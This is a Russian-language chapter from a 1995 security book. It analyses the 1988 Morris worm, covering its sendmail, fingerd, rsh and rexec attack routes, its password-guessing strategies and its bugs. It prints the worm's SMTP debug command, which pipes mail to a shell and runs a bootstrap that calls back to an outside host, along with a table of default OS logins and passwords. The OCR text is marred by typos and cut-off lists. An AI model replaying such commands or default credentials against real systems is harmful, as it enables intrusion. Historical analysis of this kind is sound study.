Илья Медведовский, Павел Семьянов, Владимир Платонов
НПО "Мир и семья" 1995г.
1995
Вначале был хаос и анархия. Интернет только зарождался, глобальных сетей практически не было, базовые протоколы TCP/IP только появлялись и стандартизовались, аналогично в самом начале развития были все UNIX-службы, программы еще были сырыми и не отлаженными. Причем этот процесс развития происходил стихийно, независимо в разных местах, на разных версиях UNIX, потом наиболее удачные начинания распространялись, сталкивались со своими конкурентами, переделывались и т. д. Весь этот процесс стандартизации сопровождался неизбежными компромиссами, особенно в системе безопасности, т. к. основными принципами UNIX всегда являлись простота, гибкость и переносимость - а они часто противоречат безопасности.
Нынешние кракеры, наверно, кусают себе локти, что они родились не на 10 лет раньше - ведь в то время хакером мог прослыть тот, кто умел методично перебирать адреса компьютеров и вводить в качестве имени и пароля что-нибудь типа guest/guest. Видимо, большинство хостов (в том числе и военные - в то время возможность проникновения в секретные хосты еще не являлась мифом) и вскрывались таким образом. были известны стандартные входные имена, присутствующие в операционной системе при ее инсталляции
Примеры имен и паролей по умолчанию в различных Qr
ОС | Имя (login) | пароль |
---|---|---|
АIХ | guest | guest |
AS/400 | qsecofr | qsecofr |
qsysopr | qsysopr | |
qpgmr | qpgmr | |
System 75 | bcim | bcimpw |
blue | bluepw | |
browse | looker, browsepw | |
tech | field | |
Taco Bell | rgm | rollout |
tacobell | <пусто> | |
VMS | field | service |
systest | utep |
Особо продвинутые кракеры, наверное, догадывались вводить в качестве паролей наиболее распространенные имена, жаргонные словечки и т. п. Интересно заметить, что большинство средств защиты многих современных ОС наиболее успешно борется именно с таким примитивным классом атак, называя это громкими словами "обнаружение нарушителей" (intruder detection) и т. п. В ОС обычно принята задержка в несколько секунд после набора неправильного пароля, а также ограничение максимального числа неправильно набранных паролей подряд. Эти меры не позволяют взломщику удаленно перебирать быстро пароли (естественно, что сегодня, если хакер и будет заниматься перебором, то не в реальном времени). Но, видимо, в те далекие годы не было даже таких мер.
в этом разделе мы перейдем к подробному рассмотрению не только самого известного случая нарушения йопасности Сети, но и самого крупного инцидента в области компьютерной безопасности вообще - вируса Морриса (Internet worm). Более того, он представлял собой не просто единичное вторжение в некоторый компьютер. а дал ответ на давний вопрос, могут ли не в абсрактных условиях существовать саморепродуцирующиеся программы (то, что теоретически это возможно, признавалось почти всеми). А подтвердив возможность создания такой программы, этот инцидент дал толчок к появлению целой отрасли компьютерной безопасности - компьютерной вирусологии (к тому времени уже существовали единичные вирусы и на персональных компьютерах - саморепродуцирующиеся в пределах одного компьютера).
Остается открытым (исходя, как мы увидим в дальнейшем, из существования схожих проблем безопасности UNIX и в наши дни) вопрос, почему же по сей день известен только один пример сетевого червя. Видимо, дело в том, что в странах с развитой компьютерной и сетевой инфраструктурой на сегодняшний день действует (во многом, кстати, вследствие вируса Морриса) очень жесткое законодательство против компьютерных преступлений такого рода (тем более, что написание червя не приносит никакой материальной выгоды - только сомнительную известность), а в странах, где подобные законы отсутствуют, отсутствует также и доступ широких кракерских масс к глобальным компьютерным сетям. Отсюда можно сделать вывод, что в ближайшем будущем. когда распространенность сетей достигнет необходимого уровня, нас ждут примеры новых сетевых червей, Желанных хакерами этих стран, и Россия здесь может занять одно из первых мест. учитывая, что за последние годы именно она дават наибольший процент мировь компьютерных вирусов.
К 1988 году интернет как глобальная сеть уже практически сформировался, и практически все услуги сегодняшнего дня (кроме WWW) использовались и тогда С другой стороны, в хакерских и околохакерских кругах скопилось достаточно информации о брешах в системах безопасности и способах несанкционированного проникновения в удаленные компьютеры. Критическая масса была накоплена, и она не могла не взорваться.
Итак, в начале ноября 1988 г. Сеть была атакована так называемым сетевым червем, впоследствии получившим в русскоязычной литературе название "вирус Морриса" по имени его создателя - студента Корнельского университета Роберта Морриса-младшего. Сетевым червем называют разновидность компьютерных вирусов, имеющих способность к самораспространению в локальной или глобальной компьютерной сети. Для этого червь должен обладать несколькими специфическими процедурами:
Мы опишем подробно структуру, механизмы и алгоритмы, им применяемые. Было решено свободно распространять их, в отличие от исходных текстов, полученных в результате дизассемблирования. Однако по истечении 9 лет такое ограничение потеряло свою актуальность (воспользоваться сегодня ими все равно не удастся), и они могут быть найдены в интернете.
Для проникновения в компьютеры вирус использовал как алгоритмы подбора пароля (это подробнее будет писано в п. 8.4.4), так и "дыры" в различных коммуникационных программах, которые позволяли ему получать доступ без предъявления пароля. Рассмотрим подробнее эти "дыры".
Вирус использовал функцию "debug" программы sendmail, которая устанавливала отладочный режим для текущего сеанса связи. Отладочный режим обладает некоторыми дополнительными возможностями, такими как возможность посылать сообщения, снабженные программой-получателем, которая запускается на удаленной машине и осуществляет прием сообщения. Эта возможность, не предусмотренная протоколом SMTP. использовалась разработчиками для отладки программы, и в рабочей версии была оставлена по ошибке.
Спецификация программы, которая будет выполняться при получении почты, содержится в файле псевдонимов (aliases) программы sendmail или в пользовательском файле .forward. Эта спецификация используется программами, обрабатывающими или сортирующими почту, и не должна применяться самой программой sendmail. В вирусе эта программа-получатель содержала команды, убирающие заголовки почты, после чего посылала остаток сообщения командному интерпретатору, который создавал, компилировал и выполнял Программу на языке Си. служившую "абордажным крюкм", и та, в свою очередь, принимала оставшиеся модули из атакующей машины. Вот что передавал вирус через SMTP-соединение:
debug mail from: </dev/null> rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0"> data cd /usr/tmp cat > x14481910.c <<'EOF' <текст программы ll.c> EOF cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c. quit
Вирус заражал компьютеры двух типов - VAX и Sun, поэтому пересылались двоичные коды для той и другой архитектуры, оба запускались, но исполняться мог только один. В компьютерах других архитектур (не VAX и Sun) программы не могли функционировать, хотя и поглощали системные ресурсы в момент компиляции.
Другой изъян, который позволял вирусу распространяться, находился в программе fingerd. Данная программа содержала в себе фрагмент кода примерно следующего вида:
{ char buf [100]; gets (buf); }
Проверка переполнения буфера в ней не осуществлялась. Так как буфер был в стеке, то переполнение позволяло создавать в стеке фрагмент кода и изменять адрес возврата из процедуры таким образом, что при возврате управление передавалось на этот код. Вирус передавал специально подготовленную строку из 536 байт, которая сзывала в конечном итоге функцию execve ("/biт/sh", 0, 0). Таким способом атаковались только машины VAX с операционной системой 4.3BSD; на компьютерах Sun, использующих SunOS. такие атаки терпели неудачу.
Вирус использовал протокол удаленного выполнения программ (rexec), который требовал для выполнения программы на удаленной машине только имя пользователя и незашифрованный пароль. Программа применяла для этого имена пользователей локального (атакующего) хоста, используя тот факт. что многие пользователи имеют одинаковые имена и пароли на всех машинах в сети. Эта, как и следующая, атака относится уже к сценарию 4.
Вирус пытался использовать программу запуска удаленного интерпретатора (rsh) для атаки других машин либо с полученным именем и паролем текущего пользователя, либо вообще без аутентификации, если атакуемая машина доверяет данной. (Файлы /etc/hosts, equiv и .rhosts содержат список машин, "доверяющих" данной, т. e. доступных для запуска rsh с данной машины.) Он пробовал три различных имени Для rsh:
/usr/ucb/rsh; /usr/bin/rsh; /bin/rsh.
Удаленный интерпретатор по своей функции напоминает программу удаленного исполнения, но обладает более дружественным интерфейсом, так как дистанционно запускается командный интерпретатор, а не функция ехес.
Вирус осуществлял ряд мер для сокрытия своих действий:
Вирус содержал некоторое количество ошибок - от очень тонких и почти не влияющих на его работу, до грубых и неуклюжих. Остановимся на них подробнее.
Участок кода для предотвращения повторного заражения содержал много ошибок. Это имело решающее значение, т. к. из-за того, что многие машины заражались повторно, нагрузка на системы и сеть увеличивалась и становилась весьма ощутимой (некоторые машины даже не могли с ней справиться).
Вирус, "проверяющий" наличие других вирусов, пытался связаться с портом 23357 для того, чтобы установить контакт с "отвечающим" вирусом. Если это не удавалось, вирус предполагал, что других вирусов нет, и сам становился "отвечающим".
Если связь устанавливалась, "проверяющий" посылал магическое число 8865431 и в течение 300 секунд ожидал другое магическое число 1345688. Если число было неверным, "проверяющий" разрывал связь.
Затем он выбирают случайное число и посылал "отвечающему". После этого, в течение 10 секунд, он ожидал возврата этого числа, после чего складывал его с посланным. Если сумма была четным числом, то "проверяющий" устанавливал значение переменной peasequit. Иначе говоря, каждый раз из двух вирусов один "смертник" выбирался случайно.
После окончания (успешного или неудачного) сеанса связи "проверяющий" "засыпал" на 5 секунд и пытался стать "отвечающим". Для этого он создавал TCP сокет устанавливал его параметры для межпроцессной связи и подключал его к порту 23357.
Этот код содержал столько ошибок, что вызывает удивление тот факт, что он вообще работал. Он завершался с ошибкой при следующих условиях:
Заметим, что здесь выражение "одновременно" подразумевает 5-20 секундный промежуток.
Критичная ошибка содержалась в коде, когда вирус решают, что должен завершиться. Все, что он делал - это устанавливал переменную pleasequit. Это не давало эффекта до тех пор, пока вирус не:
Так как вирус удалял все временные файлы, то его присутствие в машине не мешало ее повторному заражению. Многократно зараженные машины распространяли вирус быстрее, возможно пропорционально числу копий вируса на машине, т. к.:
Чтобы не тратить время, пытаясь заразить не UNIX-систему. вирус иногда пытался установить связь с предполагаемой мишенью с помощью telnet или rsh; если это не удавалось, то вирус и не пытался ее заразить. Благодаря этому некоторые системы избежали заражения, т.к., хотя и поддерживали электронную почту, но отказывали в доступе telnet или rsh.
Вирус не использовал некоторые очевидные возможности:
В этом параграфе вирус описывается процедура за процедурой.
Ядро вируса состоит из двух бинарных модулей: один для машин VAX-архитектуры, другой для Sun-архитектуры. то объектные файлы, содержащие списки имен своих внутренних процедур.
Удивительно, что эти имена осмысленны (например, doit или cracksome), ведь такой простой метод, как случайный выбор имен процедур, мог бы сильно усложнить анализ вируса.
Вирус мог запускаться с аргументом "-р NNN", где NNN -- десятичное число, которое является идентификатором породившего процесса. Впоследствии вирус использовал это число для удаления данного процесса с целью "заметания следов".
Остальные аргументы командной строки являлись именами файлов, которые он пытался загрузить. Если не удавалось загрузить хотя бы один из них, вирус заканчивал работу. Если был задан аргумент "-р NNN", то он так же стирал файлы и потом пытался уничтожить свой образ на диске.
Затем вирус предпринимал следующие действия (причем, если какие-то из них терпели неудачу, он заверался):
Если была задана опция "-р", программа закрывала все файлы, открытые породившим процессом.
Затем стирался массив аргументов для маскировки способа запуска вируса.
Вирус сканировал все сетевые интерфейсы, получал статус и адреса каждого интерфейса.
Вирус уничтожал процесс, заданный опцией "-pNNN" и перед этим менял группу (GID) текущего процесса, чтобы не погибнуть вместе с ним.
Если все эти действия заканчивались удачно, далее он выполнял процедуру doit, которая совершала остальную работу.
Процедура doit состоит из двух частей - инициализации и основного цикла.
В ней инициализируется генератор случайных чисел, кроме того, вирус сохраняет время для последующего определения того, как долго он работал в системе.
Затем вызывается процедура hg. Если она оканчивается неудачно, вызывается процедура ha.
После этого с вероятностью шесть седьмых (это было сделано специально) проверяется, существует ли на данной машине работающая копия вируса (см. 8.4.3.1).
На последнем этапе процедура инициализации должна была по замыслу автора посылать байт по адресу 128.32.137.13, соответствующему ernie.berkeley.edu, в порт 11357. Такое никогда не происходило. так как автор неправильно использовал вызов функции.
Это бесконечный цикл, содержащий наиболее активные компоненты вируса. В нем вызывается процедура cracksome, пытаящющаяся найти компьютеры, в котоые можно проникнуть. Затем, после ЗО-секундного ожидания, во время которого происходит попытка связаться с другими вирусами, вирус пытается проникнуть в другие машины.
После осуществления атак он разветвляется, создавая две копии. Первоначальная (процесс-родитель) уничтожается, оставляя процессу-потомку всю информацию.
Затем процедуры hd. hi и ha ищут машины для заражения (см. 8.4.4.4), и программа ждет еще 2 минуты.
Наконец, перед возвратом на начало цикла, проверяется значение глобальной переменной pleasequit. Если она установлена и если вирус уже перебрал более 10 слов из собственного словаря паролей, вирус завершает работу. Таким образом, принудительная установка pieasequit не дает эффекта моментального завершения всех вирусов.
Эти процедуры являются "мозгом" вируса. Cracksome - процедура, применяющая различные стратегии для проникновения в систему путем подбора паролей пользователей. Автором допускалось добавление новых стратегий в случае последующего развития вируса. Вирус последовательно пробует каждую стратегию.
Это предварительный этап, на котором определяется список возможных мишеней для атаки (имена и сетевые адреса компьютеров, имена и пароли пользователей). На этом этапе читается файл /etc/hosts.equiv в поисках имен машин, которые могли бы быть заражены. Этот файл содержит информаиию о том, какие машины доверяют данной. Логично предположить, что пользователи данной машины могут быть пользователями машин из этого списка.
После тгого читается файл .rhost, представляющий собой список машин, которым данная машина доверяет привилегированный доступ. Заметим, что это не дает возможности получения доступа к удаленной машине и может служить только в качестве возможного адреса для атаки. Часто системные администраторы запрещают доступ к этому файлу, из-за чего вирус не мог его прочитать, хотя .rhosts очень часто является частью /etc/hosts.equiv.
В заключении фазы 0 вирус читает файл паролей /etc/passwd. Информация из этого файла используется для нахождения персональных .forward-файлов, и те просматриваются с целью поиска имен машин, которые можно атаковать. Кроме того. запоминаются имена пользователей, зашифрованные пароли и информационные строки GECOS, хранящиеся в файле /etc/passwd. После того, как вирус просканировал весь файл, он переходит к перебору стратегий.
Это самая простая стратегия, способная определить только примитивные пароли. В качестве пароля предлагаются следующие варианты (для примера возьмем строчку из файла etc/passwd
user:encrypted password:100:5:Last First:/usr/user:/bin/sh:
Все эти атаки применялись к 50 паролям, накопленным во время фазы 0. Так как вирус пытался угадать пароли всех пользователей, он переходил к стратегии 2.
Стратегия 2 использует внутренний список из 432 возможных паролей, являющихся, с точки зрения автора вируса, наиболее подходящими кандидатами на эту роль. В цикле проверки проверяется значение переменной pleasequit, чтобы перед выходом вирус проверил не менее 10 вариантов. Список содержится в закодированном виде (установлен старший бит) и перемешивается в начале проверки для того, чтобы пароли подбирались в случайном порядке.
Когда список слов исчерпан, вирус переходит к стратегии 3.
Эта стратегия использует для подбора пароля файл /usr/dict/words, содержащий около 24000 слов и используемый в системе 4.3BSD (и других UNIX системах) как словарь для проверки орфографии. Если слово начинается с прописной буквы, то также проверяется и вариант со строчной буквой.
Это набор процедур с начинающимися на "h" именами, выполняющих задачу поиска имен и адресов удаленных машин. Процедура hg вызывает процедуру rt_init, которая сканирует таблицу маршрутов и записывает все адреса доступных шлюзов (gateways) в специальный список. Затем процедура hg пытается применить процедуры атаки через rsh, finger и sendmail.
Процедура ha связывается с каждым шлюзом из списка. полученного процедурой hg, через TCP порт помер 23 (telnet), для того, чтобы обнаружить те машины. которые поддерживают telnet. Список перемешивается случайным образом, после чего для каждой машины из этого списка вызывается процедура hn (т. е. вирус пытается заразить все машины в подсетях этого шлюза).
Процедура hi извлекает номер сети - первый компонент сетевого адреса из всех адресов текущей машины, и для каждого полученного адреса вызывает процедуру hn с этим адресом в качестве аргумента (иначе говоря, атакуются все локально подключенные подсети).
Процедура hi пытается атаковать каждую машину из списка, находящегося в файле /etc/hosts, equiv (см. 8.4.4.3), через rsh. finger и sendmail.
Процедура hn получает номер сети в качестве аргумента. Если этот номер совпадает с номером сети одной из машин, подключенных к данной, процедура завершается. Для остальных адресов она пытается угадать адреса шлюзов путем перебора всех возможных адресов "номер сети".[1-8].0.[1-255]). Этот список перемешивается случайным образом, после чего процедура пытается атаковать до 12 машин из этого списка, используя rsh. finger и SMTP. Если машина не поддерживает связь через TCP-порт 514 (rsh), то hn не пытается атаковать ее. После первой успешной атаки процедура завершается.
Все эти процедуры вызываются в главном цикле. Если первая процедура завершилась успешно, то остальные процедуры не вызываются. Каждая процедура возвращала после того, как она сумела атаковать одну машину. Затем вызывается hi, которая пытается заразить удаленные машины, найденные cracksome. Если hi терпит неудачу. то вызывается ha, которая старается проникнуть в удаленную машину по случайно угаданному адресу связи. Это демонстрирует, что вирус предпочитал поражать вначала шлюзовые машины, а затем распространяться на присоединенные к ним сети, вместо того чтобы заражать машины, минуя шлюзы. Если hg, hi и ha терпят неудачу. то вызывается hi, которая похожа на ha, но подбирает адрес, используя сетевой адрес текущей машины.
Анализ кода этих процедур так же свидетельствует о наличии ошибок, в результате чего некоторые из них не были функциональны.
Это короткая процедура, которую все процедуры атаки использовали для пересылки основной части вируса. Первое, что она делает, это удаляет свой образ на диске. Затем она проверяет наличие трех аргументов (если их нет, то завершается), после чего закрывает все файловые дескрипторы и разветвляется на два процесса (если это не удается, она так же завершается). Процесс-родитель завершается, не оставляя никаких связей с порожденным процессом.
Далее процедура (процесс-потомок) создает ТСР-связь с заражаемой машиной по адресу, заданному в качестве первого аргумента, через порт. заданный вторым аргументом. Затем она пересылает на зараженную Машину "магическое число", заданное третьим аргументом. Каждый аргумент стирается сразу же после его использования. Далее стандартный ввод-вывод переназначается на канал связи с зараженной машиной. Следующим этапом в цикле считывается длина и имя каждого файла, составляющего вирус. Каждый файл пересылается с зараженной машины на текущую. При возникновении сбоев все файлы удаляются. По окончании цикла пересылки файлов запускаете Bourne Shell (sh), замещающий программу ll и получающий команды с зараженной машины.
[Вернуться к списку] [Комментарии (0)]